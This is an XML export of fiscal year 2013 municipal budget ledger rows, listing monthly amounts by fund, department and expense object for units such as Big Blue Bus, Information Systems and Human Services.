<row _id="1557"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-16</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>984.0</total></row>
<row _id="1558"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1775.0</july><august>104</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1879.0</total></row>
<row _id="1559"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>714.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>33</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>747.0</total></row>
<row _id="1560"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>181939.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-13181</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>168758.0</total></row>
<row _id="1561"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>24307.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-50</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24257.0</total></row>
<row _id="1562"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>128772.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-10700</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>118072.0</total></row>
<row _id="1563"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>267841.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1152</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>268993.0</total></row>
<row _id="1564"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>627265.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6273</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>633538.0</total></row>
<row _id="1565"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>403950.0</object><object_description>EPA WATER SYS IMPROV GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-117802.52</march><april>0</april><may>0</may><june>0.0</june><total>-117802.52</total></row>
<row _id="1566"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544360.0</object><object_description>ELECTRONIC RESOURCES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>237630.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>237630.0</total></row>
<row _id="1567"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>664.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>664.0</total></row>
<row _id="1568"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>324.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>324.0</total></row>
<row _id="1569"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2709.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2709.0</total></row>
<row _id="1570"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561404.0</object><object_description>PROJECT HOMECOMING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>35000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>35000.0</total></row>
<row _id="1571"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403830.0</object><object_description>SUPPORTIVE HOUSING PROGRAM GR</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-389215.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-389215.0</total></row>
<row _id="1572"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1369.0</july><august>0</august><september>0.0</september><october>-320.0</october><november>0</november><december>0</december><january>0.0</january><february>10</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1059.0</total></row>
<row _id="1573"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>309.0</july><august>0</august><september>0.0</september><october>-100.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="1574"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>36387.0</july><august>0</august><september>0.0</september><october>-10000.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26387.0</total></row>
<row _id="1575"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>309.0</july><august>0</august><september>0.0</september><october>-100.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="1576"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577960.0</object><object_description>ARTS TRANSFER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>100000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="1577"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>406000.0</object><object_description>ESTIMATED FEE INCREASES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="1578"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>401801.0</object><object_description>PROCEEDS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-60000.0</total></row>
<row _id="1579"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6952.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6952.0</total></row>
<row _id="1580"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>548.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>548.0</total></row>
<row _id="1581"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3416.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>34</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3450.0</total></row>
<row _id="1582"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4460.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4460.0</total></row>
<row _id="1583"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>45712.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>45712.0</total></row>
<row _id="1584"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5290.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5290.0</total></row>
<row _id="1585"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>19030.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>190</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19220.0</total></row>
<row _id="1586"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4682.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4682.0</total></row>
<row _id="1587"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>18006.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>724</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18730.0</total></row>
<row _id="1588"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="1589"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>56270.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>563</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>56833.0</total></row>
<row _id="1590"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>205485.0</july><august>0</august><september>0.0</september><october>-33864.0</october><november>0</november><december>0</december><january>0.0</january><february>1716</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>173337.0</total></row>
<row _id="1591"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>204.0</july><august>0</august><september>0.0</september><october>-60.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="1592"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>746.0</july><august>0</august><september>0.0</september><october>-190.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>556.0</total></row>
<row _id="1593"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2121.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2121.0</total></row>
<row _id="1594"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>408000.0</object><object_description>INTERFUND SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-158695.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-158695.0</total></row>
<row _id="1595"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>21802.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21802.0</total></row>
<row _id="1596"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>241236.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2412</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>243648.0</total></row>
<row _id="1597"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9593.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>96</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9689.0</total></row>
<row _id="1598"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12250.0</total></row>
<row _id="1599"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1254938.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>61480</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1316418.0</total></row>
<row _id="1600"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9043.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>413</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9456.0</total></row>
<row _id="1601"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>539693.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>21315</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>561008.0</total></row>
<row _id="1602"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6479.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>450</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6929.0</total></row>
<row _id="1603"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>468.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>30</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>498.0</total></row>
